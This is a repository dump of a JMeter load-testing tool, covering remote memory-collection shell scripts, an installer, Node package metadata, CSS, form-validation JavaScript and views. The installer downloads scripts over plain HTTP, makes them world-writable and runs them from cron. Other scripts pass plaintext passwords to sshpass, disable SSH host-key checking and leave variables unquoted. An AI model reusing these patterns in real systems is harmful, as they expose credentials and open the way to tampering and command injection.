10 | echo "start get mem"
11 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/mem/getmem_qa.sh $process $pid"
12 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r $user@$ip:~/mem/output/top.$process.$pid.csv $path/$file'_top'
13 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r $user@$ip:~/mem/output/psaux.$process.$pid.csv $path/$file'_ps'
14 |
15 | start=`sed -n "2,2p" $path/log.jtl |awk '{print substr($0,0,10)}'`
16 | end=`cat $path/log.jtl|awk 'END {print}'|awk '{print substr($0,0,10)}'`
17 | starttime=`TZ=UTC-8 date -d @$start "+%Y-%m-%d %H:%M"`
18 | endtime=`TZ=UTC-8 date -d @$end "+%Y-%m-%d %H:%M"`
19 |
20 | echo $starttime
21 | echo $endtime
22 | startline1=`grep -n "$starttime" $path/$file'_top'|head -n 1|awk -F ":" '{print $1}'`
23 | endline1=`grep -n "$endtime" $path/$file'_top'|awk 'END {print}'|awk -F ":" '{print $1}'`
24 | sed -n "1,1p" $path/$file'_top' >$path/$file'_top_new'
25 | sed -n "${startline1},${endline1}p" $path/$file'_top' >>$path/$file'_top_new'
26 | mv $path/$file'_top_new' $path/$file'_top'
27 | # sed -i "s#,,#,DATE_TIME,#g" $path/$file'_top'
28 |
29 | startline2=`grep -n "$starttime" $path/$file'_ps'|head -n 1|awk -F ":" '{print $1}'`
30 | endline2=`grep -n "$endtime" $path/$file'_ps'|awk 'END {print}'|awk -F ":" '{print $1}'`
31 | sed -n "1,1p" $path/$file'_ps' >$path/$file'_ps_new'
32 | sed -n "${startline2},${endline2}p" $path/$file'_ps' >>$path/$file'_ps_new'
33 | mv $path/$file'_ps_new' $path/$file'_ps'
34 | # cat $path/$file'_ps'|awk -F "," '{print $7","$8}'>$path/$file
35 |
36 | mkdir $path'/chart_'$file
37 | sed "s#targetfile#$filename#g" views/charts/index.html > $path'/chart_'$file'/index.html'
38 | echo "stop get mem"
39 |
40 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | path=`pwd`
3 | [[ -d ~/mem/ ]] &&
4 | echo "~/mem/ exist..." &&
5 | wget "http://10.1.1.1:3334/public/mem/mem.sh" -O ~/mem/mem.sh &&
6 | wget "http://10.1.1.1:3334/public/mem/io.sh" -O ~/mem/io.sh &&
7 | wget "http://10.1.1.1:3334/public/mem/io2.sh" -O ~/mem/io2.sh &&
8 | wget "http://10.1.1.1:3334/public/mem/addmem_qa.sh" -O ~/mem/addmem_qa.sh &&
9 | wget "http://10.1.1.1:3334/public/mem/getmem_qa.sh" -O ~/mem/getmem_qa.sh &&
10 | wget "http://10.1.1.1:3334/public/mem/getpic_qa.sh" -O ~/mem/getpic_qa.sh &&
11 | wget "http://10.1.1.1:3334/public/mem/getpids_qa.sh" -O ~/mem/getpids_qa.sh &&
12 | wget "http://10.1.1.1:3334/public/mem/script/functions.sh" -O ~/mem/script/functions.sh &&
13 | wget "http://10.1.1.1:3334/public/mem/script/diskio.create.sh" -O ~/mem/script/diskio.create.sh &&
14 | wget "http://10.1.1.1:3334/public/mem/script/diskio.update.sh" -O ~/mem/script/diskio.update.sh &&
15 | wget "http://10.1.1.1:3334/public/mem/script/netio.create.sh" -O ~/mem/script/netio.create.sh &&
16 | wget "http://10.1.1.1:3334/public/mem/script/netio.update.sh" -O ~/mem/script/netio.update.sh &&
17 | wget "http://10.1.1.1:3334/public/mem/script/cpu.create.sh" -O ~/mem/script/cpu.create.sh &&
18 | wget "http://10.1.1.1:3334/public/mem/script/cpu.update.sh" -O ~/mem/script/cpu.update.sh &&
19 | wget "http://10.1.1.1:3334/public/mem/script/load.create.sh" -O ~/mem/script/load.create.sh &&
20 | wget "http://10.1.1.1:3334/public/mem/script/load.update.sh" -O ~/mem/script/load.update.sh &&
21 | wget "http://10.1.1.1:3334/public/mem/script/mem.create.sh" -O ~/mem/script/mem.create.sh &&
22 | wget "http://10.1.1.1:3334/public/mem/script/mem.update.sh" -O ~/mem/script/mem.update.sh &&
23 | ifstat -v|grep "ifstat version 1.1."|awk '{ if($0=="") print "install ifstat failed."; else print "install ifstat succeed."}' &&
24 | chmod 777 ~/mem/script/*.sh &&
25 | chmod 777 ~/mem/*.sh &&
26 | exit 1
27 |
28 | date >>$path/crontab.bak
29 | crontab -l >>$path/crontab.bak
30 | crontab -l | grep -v "$path/mem/mem.sh" | grep -v "$path/mem/io2.sh" >crontab.tmp
31 | echo -e "* * * * * sleep 10; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
32 | echo -e "* * * * * sleep 20; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
33 | echo -e "* * * * * sleep 30; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
34 | echo -e "* * * * * sleep 40; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
35 | echo -e "* * * * * sleep 50; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
36 | echo -e "* * * * * sleep 60; $path/mem/mem.sh >/dev/null 2>&1" >>crontab.tmp
37 | echo -e "*/5 * * * * $path/mem/io2.sh >/dev/null 2>&1" >>crontab.tmp
38 | crontab crontab.tmp
39 | rm -f crontab.tmp
40 |
41 | wget "http://10.1.1.1:3334/public/mem.zip" -O ~/mem.zip
42 | unzip ~/mem.zip -d .
43 | rm -f ~/mem.zip
44 |
45 | yum install rrdtool -y
46 | wget http://10.1.1.1:3334/public/ifstat-1.1.tar.gz
47 | tar xzvf ifstat-1.1.tar.gz
48 | cd ifstat-1.1
49 | ./configure
50 | make
51 | make install
52 |
53 | if [ $? -ne 0 ]; then
54 | echo "install ifstat failed."
55 | else
56 | echo "install ifstat succeed."
57 | fi
58 |
59 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "docker-jmeter",
3 | "version": "1.0.0",
4 | "description": "docker-jmeter",
5 | "main": "app.js",
6 | "scripts": {
7 | "test": "node app.js"
8 | },
9 | "keywords": [
10 | "node",
11 | "crud",
12 | "mysql"
13 | ],
14 | "dependencies": {
15 | "body-parser": "^1.18.3",
16 | "child_process": "^1.0.2",
17 | "cookie-parser": "^1.4.3",
18 | "csvjson": "^5.0.0",
19 | "ejs": "^2.5.6",
20 | "express": "^4.16.3",
21 | "express-flash": "0.0.2",
22 | "express-myconnection": "^1.0.4",
23 | "express-session": "^1.15.6",
24 | "express-validator": "^3.2.0",
25 | "formidable": "^1.1.1",
26 | "log4js": "^3.0.2",
27 | "method-override": "^3.0.0",
28 | "moment": "^2.22.2",
29 | "multer": "^1.3.1",
30 | "mysql": "^2.16.0",
31 | "serve-index": "^1.9.1",
32 | "xml2json": "^0.11.2"
33 | },
34 | "devDependencies": {},
35 | "author": "Sarah",
36 | "license": "ISC"
37 | }
38 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/public/css/style.css:
--------------------------------------------------------------------------------
1 |
2 | body {
3 | color: #566787;
4 | background: #f5f5f5;
5 | font-family: 'Varela Round', sans-serif;
6 | font-size: 13px;
7 | }
8 |
9 | .table-wrapper {
10 | background: #fff;
11 | padding: 20px 25px;
12 | margin: 30px 0;
13 | border-radius: 3px;
14 | box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
15 | }
16 |
17 | .table-title {
18 | padding-bottom: 15px;
19 | background: #435d7d;
20 | color: #fff;
21 | padding: 16px 30px;
22 | margin: -20px -25px 10px;
23 | border-radius: 3px 3px 0 0;
24 | }
25 |
26 | .table-title h2 {
27 | margin: 5px 0 0;
28 | font-size: 24px;
29 | }
30 |
31 | .table-title .btn-group {
32 | float: right;
33 | }
34 |
35 | .table-title .btn {
36 | color: #fff;
37 | float: right;
38 | font-size: 13px;
39 | border: none;
40 | min-width: 50px;
41 | border-radius: 2px;
42 | border: none;
43 | outline: none !important;
44 | margin-left: 10px;
45 | }
46 |
47 | .table-title .btn i {
48 | float: left;
49 | font-size: 21px;
50 | margin-right: 5px;
51 | }
52 |
53 | .table-title .btn span {
54 | float: left;
55 | margin-top: 2px;
56 | }
57 |
58 | table.table tr th,
59 | table.table tr td {
60 | border-color: #e9e9e9;
61 | padding: 12px 15px;
62 | vertical-align: middle;
63 | }
64 |
65 | table.table tr th:first-child {
66 | width: 60px;
67 | }
68 |
69 | table.table tr th:last-child {
70 | width: 100px;
71 | }
72 |
73 | table.table-striped tbody tr:nth-of-type(odd) {
74 | background-color: #fcfcfc;
75 | }
76 |
77 | table.table-striped.table-hover tbody tr:hover {
78 | background: #f5f5f5;
79 | }
80 |
81 | table.table th i {
82 | font-size: 13px;
83 | margin: 0 5px;
84 | cursor: pointer;
85 | }
86 |
87 | table.table td:last-child i {
88 | opacity: 0.9;
89 | font-size: 22px;
90 | margin: 0 5px;
91 | }
92 |
93 | table.table td a {
94 | font-weight: bold;
95 | color: #566787;
96 | display: inline-block;
97 | text-decoration: none;
98 | outline: none !important;
99 | }
100 |
101 | table.table td a:hover {
102 | color: #2196F3;
103 | }
104 |
105 | table.table td a.edit {
106 | color: #FFC107;
107 | }
108 |
109 | table.table td a.delete {
110 | color: #F44336;
111 | }
112 |
113 | table.table td i {
114 | font-size: 19px;
115 | }
116 |
117 | table.table .avatar {
118 | border-radius: 50%;
119 | vertical-align: middle;
120 | margin-right: 10px;
121 | }
122 |
123 | .pagination {
124 | float: right;
125 | margin: 0 0 5px;
126 | }
127 |
128 | .pagination li a {
129 | border: none;
130 | font-size: 13px;
131 | min-width: 30px;
132 | min-height: 30px;
133 | color: #999;
134 | margin: 0 2px;
135 | line-height: 30px;
136 | border-radius: 2px !important;
137 | text-align: center;
138 | padding: 0 6px;
139 | }
140 |
141 | .pagination li a:hover {
142 | color: #666;
143 | }
144 |
145 | .pagination li.active a,
146 | .pagination li.active a.page-link {
147 | background: #03A9F4;
148 | }
149 |
150 | .pagination li.active a:hover {
151 | background: #0397d6;
152 | }
153 |
154 | .pagination li.disabled i {
155 | color: #ccc;
156 | }
157 |
158 | .pagination li i {
159 | font-size: 16px;
160 | padding-top: 6px
161 | }
162 |
163 | .hint-text {
164 | float: left;
165 | margin-top: 10px;
166 | font-size: 13px;
167 | }
168 |
169 | /* Custom checkbox */
170 |
171 | .custom-checkbox {
172 | position: relative;
173 | }
174 |
175 | .custom-checkbox input[type="checkbox"] {
176 | opacity: 0;
177 | position: absolute;
178 | margin: 5px 0 0 3px;
179 | z-index: 9;
180 | }
181 |
182 | .custom-checkbox label:before {
183 | width: 18px;
184 | height: 18px;
185 | }
186 |
187 | .custom-checkbox label:before {
188 | content: '';
189 | margin-right: 10px;
190 | display: inline-block;
191 | vertical-align: text-top;
192 | background: white;
193 | border: 1px solid #bbb;
194 | border-radius: 2px;
195 | box-sizing: border-box;
196 | z-index: 2;
197 | }
198 |
199 | .custom-checkbox input[type="checkbox"]:checked+label:after {
200 | content: '';
201 | position: absolute;
202 | left: 6px;
203 | top: 3px;
204 | width: 6px;
205 | height: 11px;
206 | border: solid #000;
207 | border-width: 0 3px 3px 0;
208 | transform: inherit;
209 | z-index: 3;
210 | transform: rotateZ(45deg);
211 | }
212 |
213 | .custom-checkbox input[type="checkbox"]:checked+label:before {
214 | border-color: #03A9F4;
215 | background: #03A9F4;
216 | }
217 |
218 | .custom-checkbox input[type="checkbox"]:checked+label:after {
219 | border-color: #fff;
220 | }
221 |
222 | .custom-checkbox input[type="checkbox"]:disabled+label:before {
223 | color: #b8b8b8;
224 | cursor: auto;
225 | box-shadow: none;
226 | background: #ddd;
227 | }
228 |
229 | /* Modal styles */
230 |
231 | .modal .modal-dialog {
232 | max-width: 400px;
233 | }
234 |
235 | .modal .modal-header,
236 | .modal .modal-body,
237 | .modal .modal-footer {
238 | padding: 20px 30px;
239 | }
240 |
241 | .modal .modal-content {
242 | border-radius: 3px;
243 | }
244 |
245 | .modal .modal-footer {
246 | background: #ecf0f1;
247 | border-radius: 0 0 3px 3px;
248 | }
249 |
250 | .modal .modal-title {
251 | display: inline-block;
252 | }
253 |
254 | .modal .form-control {
255 | border-radius: 2px;
256 | box-shadow: none;
257 | border-color: #dddddd;
258 | }
259 |
260 | .modal textarea.form-control {
261 | resize: vertical;
262 | }
263 |
264 | .modal .btn {
265 | border-radius: 2px;
266 | min-width: 100px;
267 | }
268 |
269 | .modal form label {
270 | font-weight: normal;
271 | }
272 |
273 | #mem,#cpu,#virt,#res,#vsz,#rss{
274 | height: 300px;
275 | margin-bottom: 10px;
276 | }
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/public/js/script.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function () {
2 | // Activate tooltip
3 | $('[data-toggle="tooltip"]').tooltip();
4 |
5 | // Select/Deselect checkboxes
6 | var checkbox = $('table tbody input[type="checkbox"]');
7 | $("#selectAll").click(function () {
8 | var ids = [];
9 | if (this.checked) {
10 | checkbox.each(function () {
11 | this.checked = true;
12 | ids.push(this.value);
13 | });
14 | $("#deletefiles").attr("action", "/delete/" + ids);
15 | } else {
16 | checkbox.each(function () {
17 | this.checked = false;
18 | });
19 | $("#deletefiles").attr("action", "/delete/");
20 | }
21 | });
22 | checkbox.click(function () {
23 | var ids = [];
24 | if (!this.checked) {
25 | $("#selectAll").prop("checked", false);
26 | }
27 | checkbox.each(function () {
28 | if (this.checked) {
29 | ids.push(this.value);
30 | }
31 | });
32 | if (ids.length == checkbox.length) {
33 | $("#selectAll").prop("checked", true);
34 | }
35 |
36 | $("#deletefiles").attr("action", "/delete/" + ids);
37 | });
38 | });
39 | function rightpw(form) {
40 | console.log("rightpw")
41 | console.log(form.ip.value)
42 | $.ajax({
43 | url: '/rightpw',
44 | dataType: "json",
45 | data: 'ip=' + form.ip.value + '&user=' + form.user.value + '&pw=' + form.pw.value,
46 | type: 'POST',
47 | success: function (data) {
48 | console.log(data);
49 | form.rightpw.value = form.pw.value
50 | },
51 | error: function (error, status, message) {
52 | alert("Authentication failed!");
53 | form.rightpw.value = ""
54 | }
55 | });
56 | }
57 | function rightpro(form) {
58 | console.log("rightpro")
59 | console.log(form.ip.value)
60 | $.ajax({
61 | url: '/rightpro',
62 | dataType: "json",
63 | data: 'ip=' + form.ip.value + '&user=' + form.user.value + '&pw=' + form.pw.value + '&process=' + form.process.value,
64 | type: 'POST',
65 | success: function (data) {
66 | console.log(data);
67 | form.rightpro.value = form.process.value
68 | },
69 | error: function (error, status, message) {
70 | alert("can't find this process!");
71 | form.rightpro.value = ""
72 | }
73 | });
74 | }
75 | function CheckChart(form) {
76 | if (form.status.value == "wrong") {
77 | alert("jmx file is wrong")
78 | return false
79 | } else {
80 | if (form.ip.value != "" && form.user.value != "" && form.pw.value != "" && form.process.value != "") {
81 | if (form.rightpw.value != "") {
82 | if (form.rightpro.value != "") {
83 | return true
84 | } else {
85 | alert("can't find this process!")
86 | return false
87 | }
88 | } else {
89 | alert("Authentication failed!")
90 | return false
91 | }
92 | } else {
93 | alert("can't be empty!")
94 | return false
95 | }
96 | }
97 | }
98 | function CheckJmx(form) {
99 | if (form.name.value != "" && form.files.value != "") {
100 | if (form.rightname.value != "") {
101 | return true
102 | } else {
103 | alert("name must be uniq!")
104 | return false
105 | }
106 | } else {
107 | alert("can't be empty!")
108 | return false
109 | }
110 | }
111 | /**
112 | *根据指定长度截取字符串,string表示待截取字符串,
113 | *maxLen表示截取后字符串长度
114 | */
115 | function strLenCut(string, maxLen) {
116 | var strCut = "",len = 0 ;
117 | for (var i = 0; i < string.length; i = i + 1) {
118 | charA = string.charAt(i);
119 | if (escape(charA).length > 4) {
120 | /*汉字编码后长度大于4*/
121 | len = len + 2;
122 | } else {
123 | len = len + 1;
124 | }
125 | if (len <= maxLen) {
126 | /*未超出指定长度,拼接到返回的字符串中*/
127 | strCut = strCut.concat(charA);
128 | } else {
129 | /*超出指定长度,显示...*/
130 | strCut = strCut.concat("...");
131 | break;
132 | }
133 | }
134 | return strCut;
135 | }
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/stop_all.sh:
--------------------------------------------------------------------------------
1 | ip=$1
2 | user=$2
3 | pw=$3
4 | process=$4
5 | duration=$5
6 | name=$6
7 | echo "stop all begin"
8 | jmxstart='jmeter -n -t public/files/'$name'/'$name'.jmx'
9 | echo $jmxstart
10 | jmxpid=`pgrep -f "$jmxstart"`
11 | echo $jmxpid
12 | jarstart='ApacheJMeter.jar -n -t public/files/'$name'/'$name'.jmx'
13 | echo $jarstart
14 | jarpid=`pgrep -f "$jarstart"`
15 | echo $jarpid
16 |
17 |
18 | while [ "$jmxpid" = "" ]
19 | do
20 | echo $jmxpid
21 | jmxpid=`pgrep -f "$jmxstart"`
22 | sleep 1
23 | done
24 | kill $jmxpid
25 |
26 | while [ "$jarpid" = "" ]
27 | do
28 | echo $jarpid
29 | jarpid=`pgrep -f "$jarstart"`
30 | sleep 1
31 | done
32 | kill $jarpid
33 |
34 | echo "stop all end"
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/views/charts/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | 性能监测结果
7 |
8 |
9 |
11 |
12 |
14 |
15 |
89 |
90 |
91 |
92 |
93 |
94 |
98 |
99 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/views/jmxs/add.ejs:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/views/jmxs/delete.ejs:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/views/layouts/footer.ejs:
--------------------------------------------------------------------------------
1 |
2 |